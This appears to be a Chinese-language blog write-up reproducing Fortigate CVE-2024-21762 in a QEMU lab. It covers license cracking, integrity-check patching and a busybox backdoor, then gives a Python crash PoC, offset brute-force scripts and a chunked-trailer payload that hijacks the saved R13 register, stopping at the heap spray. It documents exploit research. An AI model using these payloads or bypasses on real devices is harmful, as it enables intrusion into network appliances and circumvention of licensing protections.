# [漏洞复现] Fortigate CVE-2024-21762因为一些机缘巧合接触到了这个 CVE,发现漏洞利用思路清奇,其中涉及到的部分细节网上的文章也写的很笼统,于是写一个文章记录一下自己的复现过程。
# 环境搭建下载镜像:
1 -rw-rw-r-- 1 akyoi akyoi 104045685 3 月 16 14 :51 FGT_VM64_KVM-v7.4.0 .F-build2360-FORTINET .out .kvm .zip
解压出 fortios.qcow2
使用 qemu 启动,可以写一个脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 sudo pkill qemu sleep 3 sudo qemu-system-x86_64 \ -cpu host \ -m 4096 \ -smp 2 \ -machine q35,accel=kvm \ -drive file=fortios.qcow2,if =virtio,format=qcow2 \ -netdev tap,id=net0,ifname=tap0,script=no ,downscript=no \ -device virtio-net-pci,netdev=net0 \ -nographic \ -s
启动后配置 ip 和 sslvpn。证书可以使用 https://github.com/rrrrrrri/fgt-gadgets 进行破解(因为找到的镜像版本比较旧所以直接用就可以了,新版本需要对内核和 init 进行 patch 之后进行 license 的破解)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 config system interface edit "port1" set mode static set ip 192.168.66.2 255.255.255.0 set allowaccess http https ssh telnet ping nextend config router static edit 1 set gateway 192.168.66.1 set device "port1" next end config system dns set primary 8.8.8.8 set secondary 1.1.1.1 end
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 config system central-management set mode normal set type fortimanager set fmg 192.168.100.219 config server-list edit 1 set server-type update rating set server-address 192.168.100.219 next end set fmg-source-ip 192.168.66.2 set include-default-servers disable set vdom root end
# 破解文件系统校验以及准备工作这部分跟网上大同小异,所以简要描述了。 通过挂载文件系统可以查看文件。mount.sh
1 2 3 4 5 6 7 8 9 #! /bin/sh sudo modprobe nbd max_part=8 sudo qemu-nbd --connect=/dev/nbd0 fortios.qcow2 lsblk /dev/nbd0 sudo mount /dev/nbd0p1 ./p1 sudo mount /dev/nbd0p2 ./p2 sudo mount /dev/nbd0p3 ./p3
umount.sh 1 2 3 4 5 6 #! /bin/sh sudo umount ./p1 sudo umount ./p2 sudo umount ./p3 sudo qemu-nbd --disconnect /dev/nbd0
之后可以提取到 rootfs 以及 flatkc
gzip 解压 rootfs.gz 之后使用 cpio 解压 rootfs:cpio -idmv < ../rootfs
可以看到 /sbin/init 了
分析可以看到解压那几个 tar.xz 使用的是标准的 tar 和 gz(应该是版本比较旧的问题)
sub_4033E0 遍历那几个 tar.xz 进行解压。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 __int64 __fastcall sub_4033E0 (const char *a1) { unsigned int v1; char v3[528 ]; __int128 v4; __int64 v5; char *v6; __int128 v7; __int128 v8; char s[520 ]; unsigned __int64 v10; v10 = __readfsqword(0x28 u); v4 = 0 ; v5 = 0 ; LODWORD (v4) = 2 ; v6 = s; v7 = 0 ; v8 = 0 ; snprintf (s, 0x200 u, "/%s.tar.xz" , a1); if ( access (s, 0 ) < 0 ) { v1 = -1 ; printf ("[%s:%d] %s doesn't exist\n" , "init_loader_decompress_dir" , 161 , s); } else { v1 = unpackTarGz ((__int64)&v4); unlink (s); snprintf (v3, 0x204 u, "%s.chk" , s); unlink (v3); } return v1; }
sub_402790 调用外部库实现解压,发现是标准的解压算法。因此 sbin 里面之后一个 init 程序,而不是有着 Fortigate 自己实现的 ftar 和 xz 程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 __int64 __fastcall sub_402790(__int64 a1) { unsigned int v1; // eax _QWORD *v2; // r14 int v3; // eax const char *v4; // r13 __int64 v5; // rax unsigned int v6; // r15d __int64 v7; // r12 __int64 v8; // rax __int64 v9; // r13 int *v11; // rax char *v12; // rax __int64 (__fastcall *v13)(); // rax const char *v14; // rax int *v15; // rax char *v16; // rax int *v17; // rax char *v18; // rax __int64 v19; // [rsp+8h] [rbp-1068h] __int64 (__fastcall *v20)(); // [rsp+10h] [rbp-1060h] __int64 (__fastcall *v21)(); // [rsp+18h] [rbp-1058h] _QWORD v22[2]; // [rsp+20h] [rbp-1050h] BYREF char buf[4104]; // [rsp+30h] [rbp-1040h] BYREF unsigned __int64 v24; // [rsp+1038h] [rbp-38h] v24 = __readfsqword(0x28u); v1 = *(_DWORD *)(a1 + 16); if ( v1 == 2 ) { v2 = (_QWORD *)(a1 + 24); v21 = sub_402770; goto LABEL_5; } if ( v1 <= 2 ) { v2 = *(_QWORD **)(a1 + 24); if ( v1 ) v21 = (__int64 (__fastcall *)())&j__archive_read_open_FILE; else v21 = sub_402730; LABEL_5: v3 = *(_DWORD *)(a1 + 40); if ( v3 != 1 ) goto LABEL_6; goto LABEL_24; } if ( v1 != 3 ) { v21 = 0; v2 = 0; goto LABEL_5; } v2 = v22; v22[0] = *(_QWORD *)(a1 + 24); v22[1] = *(_QWORD *)(a1 + 32); v21 = sub_402780; v3 = *(_DWORD *)(a1 + 40); if ( v3 != 1 ) { LABEL_6: if ( v3 == 2 ) { v13 = *(__int64 (__fastcall **)())(a1 + 48); buf[0] = 0; v4 = 0; v20 = v13; v19 = *(_QWORD *)(a1 + 56); } else { buf[0] = 0; v4 = 0; v19 = a1; v20 = sub_4025C0; } goto LABEL_8; } LABEL_24: v4 = *(const char **)(a1 + 48); buf[0] = 0; if ( v4 ) { if ( !*v4 ) { v6 = 1; sprintf( *(void (__fastcall **)(__int64, __va_list_tag *, __int64, __int64, __int64, __int64, _QWORD, void *, void *))(a1 + 8), (__int64)"ftar:%u empty path" , 187); return v6; } v19 = a1; v20 = sub_4025C0; if ( !getcwd(buf, 0x1000u) ) { v11 = __errno_location(); v6 = 1; v12 = strerror(*v11); sprintf( *(void (__fastcall **)(__int64, __va_list_tag *, __int64, __int64, __int64, __int64, _QWORD, void *, void *))(a1 + 8), (__int64)"ftar:%u getcwd %s" , 191, v12); return v6; } } else { v19 = a1; v20 = sub_4025C0; } LABEL_8: v5 = archive_read_new(); v6 = 1; v7 = v5; if ( !v5 ) return v6; archive_read_support_format_tar(v5); if ( *(_DWORD *)a1 == 1 ) { archive_read_support_filter_gzip(v7); } else if ( *(_DWORD *)a1 == 2 ) { archive_read_support_filter_xz(v7); } if ( ((unsigned int (__fastcall *)(__int64, _QWORD *))v21)(v7, v2) ) { v6 = 1; v14 = (const char *)archive_error_string(v7); sprintf( *(void (__fastcall **)(__int64, __va_list_tag *, __int64, __int64, __int64, __int64, _QWORD, void *, void *))(a1 + 8), (__int64)"ftar:%u %s" , 215, v14); goto LABEL_19; } if ( v4 ) { if ( access(v4, 0) && mkdir(v4, 0x1EDu) ) { v17 = __errno_location(); v6 = 1; v18 = strerror(*v17); sprintf( *(void (__fastcall **)(__int64, __va_list_tag *, __int64, __int64, __int64, __int64, _QWORD, void *, void *))(a1 + 8), (__int64)"ftar:%u mkdir %s" , 228, v18); goto LABEL_19; } if ( chdir(v4) ) { v15 = __errno_location(); v6 = 1; v16 = strerror(*v15); sprintf( *(void (__fastcall **)(__int64, __va_list_tag *, __int64, __int64, __int64, __int64, _QWORD, void *, void *))(a1 + 8), (__int64)"ftar:%u chdir %s" , 233, v16); goto LABEL_19; } } v8 = archive_write_disk_new(); v9 = v8; if ( v8 ) { v6 = ((__int64 (__fastcall *)(__int64, __int64, __int64))v20)(v7, v8, v19); archive_write_free(v9); } else { v6 = 1; sprintf( *(void (__fastcall **)(__int64, __va_list_tag *, __int64, __int64, __int64, __int64, _QWORD, void *, void *))(a1 + 8), (__int64)"ftar:%u" , 241); } LABEL_19: archive_read_free(v7); if ( buf[0] ) chdir(buf); return v6; }
之后对文件进行解压
1 2 xz -d bin .tar.xz tar -xf bin .tar
之后打包:
1 2 3 4 tar -cf bin .tar bin xz -e bin .tar rm -rf ./bin find . | cpio -o --format =newc > ../rootfs
如果后续报错空间不足可以删除 bin 目录下的文件来缩小 rootfs 的体积。
效果:
1 2 3 4 5 6 7 8 9 10 11 12 root@0xAkyOI :/home/akyoi/PWN/CVE/Fortigate/CVE- 2024 -21762 /rootfsdir root@0xAkyOI :/home/akyoi/PWN/CVE/Fortigate/CVE- 2024 -21762 /rootfsdir root@0xAkyOI :/home/akyoi/PWN/CVE/Fortigate/CVE- 2024 -21762 /rootfsdir 总计 108844 drwxr-xr-x 2 root root 4096 5 月 9 2023 . drwxrwxr-x 14 akyoi akyoi 4096 3 月 16 15 : 45 .. lrwxrwxrwx 1 root root 9 5 月 9 2023 acd -> /bin/init lrwxrwxrwx 1 root root 9 5 月 9 2023 acs-sdn-change -> /bin/init lrwxrwxrwx 1 root root 9 5 月 9 2023 acs-sdn-status -> /bin/init lrwxrwxrwx 1 root root 9 5 月 9 2023 acs-sdn-update -> /bin/init lrwxrwxrwx 1 root root 9 5 月 9 2023 alarmd -> /bin/init ... ...
可以看到他把基本所有的功能都集成到了 init 程序。
我们可以吧 gdbserver 和 busybox 复制进去,这样就有了正常的功能较为完整的 linuxshell。
为了能从 fortigate 的 shell 过渡到 linuxshell,可以替换掉 smartctl 程序为自己的后门程序执行 busybox,随便用 C 语言写一个然后静态编译即可。
1 2 3 4 5 6 rm ./bin/sh ln -s /bin/busybox ./bin/sh -rwxrwxr-x 1 root root 2599072 3月 16 15:49 busybox -rwxr-xr-x 1 root root 1601440 3月 16 15:49 gdbserver -rwxr-xr-x 1 root root 832184 3月 16 15:49 smartctl
转 ELF 分析内核
1 vmlinux-to -elf flatkc flatkc-elf
# 内核校验分析校验文件系统的逻辑: kernel_init -> kernel_init_freeable -> fgt_verify_initrd 校验文件哈希 校验通过后会执行 /sbin/init 进行解压执行 /bin/init。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 __int64 __fastcall kernel_init(__int64 a1, char *a2) { int v2; // edx int v3; // ecx int v4; // r8d int v5; // r9d int v6; // edx int v7; // ecx int v8; // r8d int v9; // r9d int v10; // edx int v11; // ecx int v12; // r8d int v13; // r9d __int64 v14; // rax int v15; // eax if ( (unsigned int)kernel_init_freeable(a1, (__int64)a2) ) LABEL_8: panic((unsigned int)aNoWorkingInitF, (_DWORD)a2, v2, v3, v4, v5); async_synchronize_full(); jump_label_invalidate_initmem(); free_initmem(); if ( byte_FFFFFFFF81493799 ) { rcu_barrier_sched(); mark_rodata_ro(); } else { printk((unsigned int)&unk_FFFFFFFF813CEA30, (_DWORD)a2, v6, v7, v8, v9); } dword_FFFFFFFF816BFA84 = 2; numa_default_policy(); rcu_end_inkernel_boot(); off_FFFFFFFF8160F160 = aSbinInit; printk((unsigned int)&unk_FFFFFFFF813CE887, (unsigned int)aSbinInit, v10, v11, v12, v13); v14 = getname_kernel(aSbinInit); a2 = (char *)&off_FFFFFFFF8160F160; v15 = do_execve(v14, &off_FFFFFFFF8160F160, off_FFFFFFFF8160F040); v2 = v15; if ( v15 ) { if ( v15 != -2 ) { a2 = aSbinInit; printk((unsigned int)&unk_FFFFFFFF813CEA58, (unsigned int)aSbinInit, v15, v3, v4, v5); } goto LABEL_8; } return 0; }
所以我们要让 0xFFFFFFFF80C7D32C 的返回值是 0
这个在 gdb 调试的时候设置返回值即可。
如果使用常规断点,当 attach 到 bios 引导程序的时候常规的断点就会报错。
为了能增加调试的时候成功的几率,这里使用硬件断点。
发现 kernel_init_freeable 函数里面对 qword_FFFFFFFF81824098 进行了写操作,而且这个变量的引用很少,所以选择它作为目标。
1 watch *0 xFFFFFFFF81824098
执行完这个函数就可以设置 RAX=0 了
按理来说用这个重新打包 patch 的镜像也可以 https://github.com/kiler129/recreate-zImage,没有试过。
如果复制 rootfs 的时候显示空间不足,可以进行扩容一下 /dev/sda1 分区:
1 2 3 4 sudo qemu-img create -f qcow2 fortios_temp.qcow2 20G sudo virt-resize --expand /dev/sda1 fortios.qcow2 fortios_temp.qcow2 mv fortios_temp.qcow2 fortios.qcow2ls -lh fortios.qcow2
如果你发现使用自己打包的 rootfs.gz 报错 xxxx = xxxx 的错误,可能是 gz 压缩格式不一样,这时候可以直接使用打包的 rootfs 而不是 rootfs.gz,只需要更改 /extlinux.conf 文件即可。
# init 校验报错如下:
1 2 3 4 System file integrity check failed! The system is halted. Power down
在 /bin/init 中查找到引用:
1 2 3 4 .rodata:0000000002D8F1E8 53 79 73 74 65 6D 20 66 69 6C 65 20 69 6E 74 65 67 72 69 74 79 20 63 68 65 63 6B 20 66 61 69 6C aSystemFileInte db 'System file integrity check failed!',0Ah,0 .rodata:0000000002D8F1E8 65 64 21 0A 00 ; DATA XREF: sub_452D80+32↑o .rodata:0000000002D8F1E8 ; sub_CB1FD0+2A↑o .rodata:0000000002D8F20D 00 00 00 align 10h
第二个引用没有直接调用,往上两层就是函数指针了。所以看第一个引用。
第一个引用往上两层就是 main 函数:
1 2 if ( (int)sub_452D80 () < 0 ) sub_452BB0 ();
其中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 unsigned __int64 sub_452BB0() { FILE *v0 FILE *v1 int v2 int v3 struct timespec requested_time unsigned __int64 v6 v6 = __readfsqword(0x28 u); sub_455840("do_halt"); v0 = fopen("/etc/shutdown.dat" , "w" ); if ( v0 ) { v1 = v0 ; fprintf(v0 , "%d" , 1 ); fclose(v1 ); sync(); sleep(1 u); } sub_452A90(); v2 = open("/dev/console" , 526593 ); v3 = v2; if ( v2 >= 0 ) { dprintf(v2, "\r\nThe system is halted.\r\n" ); fsync(v3); close(v3); } requested_time.tv_sec = 2 ; requested_time.tv_nsec = 0 ; while ( nanosleep(&requested_time, &requested_time) == -1 && *__errno_location() == 4 ) ; if ( !fork() ) reboot(1126301404 ); while ( pause() ) ; return v6 - __readfsqword(0x28 u); }
明显就是刚才的报错。
所以我们只要让其校验返回为 0 就行了,或者直接去掉调用的指令。
这里直接更改关机函数的逻辑。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 Patch前: .text: 0000000000452 BB0 .text: 0000000000452 BB0 doHalt proc near .text: 0000000000452 BB0 .text: 0000000000452 BB0.text: 0000000000452 BB0 requested_time = timespec ptr -30 h.text: 0000000000452 BB0 var_18 = qword ptr -18 h.text: 0000000000452 BB0 var_8 = qword ptr -8 .text: 0000000000452 BB0.text: 0000000000452 BB0 .text: 0000000000452 BB0 000 55 push rbp.text: 0000000000452 BB1 008 BE A5 05 00 00 mov esi, 5 A5h.text: 0000000000452 BB6 008 BF 00 94 D8 02 mov edi, offset aDoHalt .text: 0000000000452 BBB 008 48 89 E5 mov rbp, rsp.text: 0000000000452 BBE 008 41 54 push r12 .text: 0000000000452 BC0 010 48 83 EC 28 sub rsp, 28 h .text: 0000000000452 BC4 038 64 48 8 B 04 25 28 00 00 00 mov rax, fs:28 hPatch后: .text: 0000000000452 BB0.text: 0000000000452 BB0 .text: 0000000000452 BB0.text: 0000000000452 BB0 .text: 0000000000452 BB0.text: 0000000000452 BB0 .text: 0000000000452 BB0 doHalt proc near .text: 0000000000452 BB0 .text: 0000000000452 BB0.text: 0000000000452 BB0 requested_time = timespec ptr -30 h.text: 0000000000452 BB0 var_18 = qword ptr -18 h.text: 0000000000452 BB0 var_8 = qword ptr -8 .text: 0000000000452 BB0.text: 0000000000452 BB0 .text: 0000000000452 BB0 000 C3 retn .text: 0000000000452 BB0.text: 0000000000452 BB1
之后即可成功进入系统
# 调试执行 diagnose hardware smartctl 执行后门获取 shell 之后拿到 gdb 调试端口
1 kill -9 $(./bin/busybox pidof telnetd) && ./bin/gdbserver 0.0.0.0:23 --attach $(./bin/busybox pidof sslvpnd)
之后就可以进行调试了。
启动的时候如果发现宿主机和 qemu 之间 ping 不通,可以试试执行:
1 2 3 4 5 6 7 8 config system interface edit "port1 " set status down next edit "port1 " set status up next end
刷新 fortigate 的接口状态。
同时宿主机记得设置 ip:
1 2 sudo ip addr add 192.168.66.1/24 dev tap0 sudo ip link set tap0 up
# 漏洞复现# 触发崩溃发送 poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import socketimport sslfrom pwn import *TIMEOUT = 5 TARGET_ADDR = "192.168.66.2" TARGET_PORT = 10443 context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.check_hostname = False context.verify_mode = ssl.CERT_NONE def send_request (host, port, data ): address = (host, port) try : s = socket.create_connection(address, timeout=TIMEOUT) ss = context.wrap_socket(s) print (f"[*] Sending payload to {host} :{port} ..." ) ss.sendall(data) print ("[*] Receiving response..." ) response = b"" while True : try : chunk = ss.recv(4096 ) if not chunk: break response += chunk except socket.timeout: print ("[!] socket timeout (no more data)" ) break if response: print ("-" * 30 ) try : print (response.decode('utf-8' )) except UnicodeDecodeError: print (f"[!] Binary response received:\n{response.hex ()} " ) print ("-" * 30 ) else : print ("[!] No response received from server." ) ss.close() except Exception as e: print (f"[x] Error: {e} " ) data = b"POST / HTTP/1.1\r\n" data += b"Host: 192.168.66.2:10443\r\n" data += b"Transfer-Encoding: chunked\r\n" data += b"Connection: close\r\n" data += b"\r\n" data += b"0\r\n" data += b"A: X\r\n" *89 send_request(TARGET_ADDR, TARGET_PORT, data)
可以看到触发了 Crash:
R12 寄存器的高位被写入了 0x0a0d。
# 关键代码定位根据网上的信息,我们可以知道问题出现在解析 chunk 的地方。 而调用其一般是通过函数指针。 因此我们看一下崩溃代码附近有没有调用函数指针的。幸运的是附近就有一个函数调用了一堆函数指针,而且经过调试,发现每次建立连接发送 POC 都会经过 5 次循环在这里调用函数指针:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 __int64 __fastcall sub_18B78D0(__int64 a1, int a2, __int64 a3, __int64 a4) { __int64 v5; // r13 __int64 v6; // rsi __int64 v7; // r15 __int64 (*v8)(void); // rax unsigned int v9; // eax char v10; // al __int64 result; // rax unsigned int (*v12)(void); // rax __int64 j; // rax __int64 *v14; // rax __int64 v15; // rdx __int64 i; // rax __int64 k; // rax __int64 *v18; // rax __int64 m; // rax __int64 v20; // rdx __int64 n; // rax v5 = *(_QWORD *)(a1 + 664); v6 = *(_BYTE *)(a1 + 1837) & 0x20; if ( !v5 || (v7 = *(_QWORD *)(v5 + 112)) == 0 || (a4 = v5 + 96, v5 + 96 == v7) ) { if ( !(_BYTE)v6 ) { if ( (*(_BYTE *)(a1 + 1837) & 0x40) == 0 ) { LABEL_19: v6 = v5; if ( (int)sub_18B7550(a1, v5, a3, a4) < 0 ) { if ( !(unsigned int)sub_18A1D10(a1) ) { sub_18A1CF0(a1); return 1; } } else if ( !(unsigned int)sub_18A1D10(a1) ) { return sub_18B75B0(a1, v6, a3, a4); } return 1; } return sub_18B75B0(a1, v6, a3, a4); } goto LABEL_66; } if ( a2 < 0 ) { if ( !(_BYTE)v6 ) { v10 = *(_BYTE *)(a1 + 1837) & 0x40; goto LABEL_15; } LABEL_66: *(_BYTE *)(a1 + 1834) |= 0x80u; return 0xFFFFFFFFLL; } if ( (_BYTE)v6 ) goto LABEL_66; if ( (_DWORD)a3 ) { v8 = *(__int64 (**)(void))(32LL * a2 + v7 + 32); if ( !v8 ) return 0xFFFFFFFFLL; v9 = v8(); a4 = v5 + 96; a3 = v9; v10 = *(_BYTE *)(a1 + 1837) & 0x40; if ( !(_DWORD)a3 ) { if ( v10 ) goto LABEL_10; v6 = (unsigned int)a2; *(_DWORD *)(v7 + 32LL * a2 + 16) = sub_18B7820(a1, (unsigned int)a2, 1, a4); if ( (*(_BYTE *)(a1 + 1837) & 0x40) != 0 ) return sub_18B75B0(a1, v6, a3, a4); return 0; } } else { v12 = *(unsigned int (**)(void))(32LL * a2 + v7 + 40); if ( !v12 ) return 0xFFFFFFFFLL; a3 = v12(); v10 = *(_BYTE *)(a1 + 1837) & 0x40; if ( v10 ) { LABEL_10: if ( (_DWORD)a3 == 7 ) return 0xFFFFFFFFLL; return sub_18B75B0(a1, v6, a3, a4); } a4 = v5 + 96; if ( !(_DWORD)a3 ) { v6 = (unsigned int)a2; *(_DWORD *)(v7 + 32LL * a2 + 20) = sub_18B7820(a1, (unsigned int)a2, a3, v5 + 96); if ( (*(_BYTE *)(a1 + 1837) & 0x40) != 0 ) return sub_18B75B0(a1, v6, a3, a4); return 0; } } LABEL_15: if ( v10 ) goto LABEL_10; switch ( (int)a3 ) { case 0: return (unsigned int)a3; case 1: v15 = *(_QWORD *)(*(_QWORD *)(v5 + 112) + 8LL); if ( v15 == a4 ) return 0xFFFFFFFFLL; for ( i = 0; i != 40; i += 8 ) { if ( *(_QWORD *)(a1 + i + 616) ) { *(_DWORD *)(v15 + 4 * i + 16) = *(_DWORD *)(v15 + 4 * i + 24); *(_DWORD *)(v15 + 4 * i + 20) = *(_DWORD *)(v15 + 4 * i + 28); } } *(_QWORD *)(v5 + 112) = *(_QWORD *)(*(_QWORD *)(v5 + 112) + 8LL); return 0; case 2: v18 = *(__int64 **)(v5 + 112); goto LABEL_46; case 3: v14 = *(__int64 **)(v5 + 112); goto LABEL_40; case 4: a3 = **(_QWORD **)(v5 + 112); if ( a3 == a4 ) goto LABEL_19; for ( j = 0; j != 40; j += 8 ) { if ( *(_QWORD *)(a1 + j + 616) ) { *(_DWORD *)(a3 + 4 * j + 16) = *(_DWORD *)(a3 + 4 * j + 24); *(_DWORD *)(a3 + 4 * j + 20) = *(_DWORD *)(a3 + 4 * j + 28); } } v14 = **(__int64 ***)(v5 + 112); *(_QWORD *)(v5 + 112) = v14; LABEL_40: a3 = *v14; if ( *v14 == a4 ) goto LABEL_19; for ( k = 0; k != 40; k += 8 ) { if ( *(_QWORD *)(a1 + k + 616) ) { *(_DWORD *)(a3 + 4 * k + 16) = *(_DWORD *)(a3 + 4 * k + 24); *(_DWORD *)(a3 + 4 * k + 20) = *(_DWORD *)(a3 + 4 * k + 28); } } v18 = **(__int64 ***)(v5 + 112); *(_QWORD *)(v5 + 112) = v18; LABEL_46: a3 = *v18; if ( *v18 == a4 ) goto LABEL_19; for ( m = 0; m != 40; m += 8 ) { if ( *(_QWORD *)(a1 + m + 616) ) { *(_DWORD *)(a3 + 4 * m + 16) = *(_DWORD *)(a3 + 4 * m + 24); *(_DWORD *)(a3 + 4 * m + 20) = *(_DWORD *)(a3 + 4 * m + 28); } } *(_QWORD *)(v5 + 112) = **(_QWORD **)(v5 + 112); result = 0; break; case 5: v20 = *(_QWORD *)(v5 + 112); if ( v20 && a4 == v20 ) v20 = 0; for ( n = 0; n != 40; n += 8 ) { if ( *(_QWORD *)(a1 + n + 616) ) { *(_DWORD *)(v20 + 4 * n + 16) = *(_DWORD *)(v20 + 4 * n + 24); *(_DWORD *)(v20 + 4 * n + 20) = *(_DWORD *)(v20 + 4 * n + 28); } } return 0; case 6: goto LABEL_19; default: return 0xFFFFFFFFLL; } return result; }
经过崩溃 POC 的调试,发现调用的这个函数疑似处理 chunk 的逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 __int64 __fastcall sub_18A1FB0(__int64 a1){ __int64 v1; int v2; _BYTE v4[8200 ]; unsigned __int64 v5; v1 = *(_QWORD *)(a1 + 736 ); v5 = __readfsqword (0 x28u); do v2 = sub_178D0B0(v1, v4, 8190 ); while ( v2 > 0 ); if ( v2 && (unsigned int)sub_17839D0(*(_QWORD *)(*(_QWORD *)(v1 + 8 ) + 40 LL)) - 1 <= 4 ) return 0 ; else return 6 ; }
其中 sub_178D0B0 中有很多代码往内存写入 0xd 和 0xa,我们对每个地方下断点即可观察写入到了哪里。
经过一步一步调试,发现之前崩溃的 R12 是在这个函数栈帧返回后的好几个栈帧才被 pop 进 R12 的,然后强制解引用非法指针导致崩溃。
# 控制写入地址# 一种可行的方法经过分析我们可以推断出存在越界写 2 字节,但是在当前的 POC 只能导致崩溃,并不能拿到更有效的利用。 之后通过动态调试以及静态逆向,我们可以了解到其存在 tailer 后写入那两个字节的规则,并且写出递推的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def calculate_sequence (a0, steps ): """ 推算并打印数列的前 steps 项 """ base = 0x5c60 current_value = base + a0 print (f"第 0 项: {hex (current_value)} ({current_value} )" ) for n in range (1 , steps,2 ): increment = a0 + n + 3 current_value += increment print (f"第 {n} 项: {hex (current_value)} ({current_value} )" ) a0_value = 199 calculate_sequence(a0_value, 50 *2 )
并且可以爆破出我们需要什么样的 payload 才能写入到偏移多少的地方:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 def brute_force_a0 (target_hex, max_a0=1000 , max_steps=500 ): target = int (target_hex, 16 ) base = 0x5c60 print (f"开始搜索目标值: {target_hex} ({target} )...\n" ) print (f"{'a0' :<10 } | {'项数 (n)' :<10 } | {'最终计算值' :<15 } " ) print ("-" * 40 ) found = False for a0 in range (max_a0): current_value = base + a0 if current_value == target: print (f"{a0:<10 } | {'0' :<10 } | {hex (current_value)} " ) found = True for n in range (1 , max_steps, 2 ): increment = a0 + n + 3 current_value += increment if current_value == target: print (f"{a0:<10 } | {n:<10 } | {hex (current_value)} " ) found = True break elif current_value > target: break if not found: print ("在指定的范围内未找到匹配的 a0。" ) brute_force_a0("0x7cb8" , max_a0=5000 , max_steps=200 )
比如这个脚本就是爆破从 0x5c60 开始我们需要在 tailer 写入多少 0 才能写入到 0x7cb8 那里。
# 更简单的办法当然网上也有更简单的方法 函数在处理 tailer 的时候会通过 hex 解码获取数值,其会跳过先导的 0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 __int64 __fastcall hexdecode(unsigned __int8 *a1) { unsigned __int8 *v1; // r12 unsigned __int8 i; // bl const unsigned __int16 **v3; // rax unsigned __int8 *v4; // rcx __int64 v5; // r8 const unsigned __int16 *v6; // rdx __int64 v7; // rbx unsigned __int8 v8; // al v1 = a1; for ( i = *a1; i == 48; ++v1 ) i = v1[1]; v3 = __ctype_b_loc(); v4 = v1 + 16; v5 = 0; v6 = *v3; while ( (v6[i] & 0x1000) != 0 ) { if ( v1 == v4 ) return -1; if ( (unsigned __int8)(i - 48) <= 9u ) { v7 = (char)(i - 48); } else if ( (unsigned __int8)(i - 65) > 5u ) { v8 = i - 97; v7 = (char)(i - 87); if ( v8 >= 6u ) v7 = 0; } else { v7 = (char)(i - 55); } ++v1; v5 = v7 | (16 * v5); i = *v1; } return v5; }
可以利用这个特性直接写入到那里,这里不详细解释,这也是网上普遍的做法。
# Exploit# 劫持 R13我们有了两个字节的栈上任意写,而且是不可控的 0xd0a。 这里普遍的利用方法就是劫持栈上存储的 R13 寄存器,让其指向堆的另一块内存,在那个内存提前布置 payload,后面解引用取出函数指针调用的时候就可以随便劫持执行流了。 至于为什么不用别的方法别人分析的已经很清晰了。 经过调试与之前脚本的爆破,我们发现下面的 payload 可行:
1 2 3 4 5 6 7 8 data = b"POST / HTTP/1.1\r \n " data += b"Host: 10.0.0.3:10443\r \n " data += b"Transfer-Encoding: chunked\r \n " data += b"Connection: close\r \n " data += b"\r \n " data += b"0" * 18 + b'\r\n' data += b"0\r \n " * 100 data += b"0" * 254 + b'\r\n'
因此我们成功修改了 R13:
# 堆喷我们的目的是提前在劫持后的 R13 指向的地方布置 payload,就需要提前申请堆块到那里。
1 2 3 b *0 x18A2006source /home/akyoi/PWN/CVE/Fortigate/CVE-2024 -21762 /gdb.pytarget remote 192.168.66.2:23
在这一部分犯了一个很大的错误,原本一开始以为只要单线程进行堆喷就行了,即目的是消耗 tcache 里面的堆块就可以堆喷到目标地址,结果堆喷了两三天都没有喷出来。甚至写了个脚本自动爆破不同 size 进行堆喷。
结果过了两天尝试进行多线程堆喷的时候发现成功率还是比较可观的(虽然也不是太高),但是运气好的话还是能喷到的。
反正我的堆喷思路就是:
创建一堆 SSL 连接,这时候就会申请一堆结构体,即 je_calloc 申请的 chunk,这时候因为没有发送业务的数据包,所以并不会进行申请别的堆块。
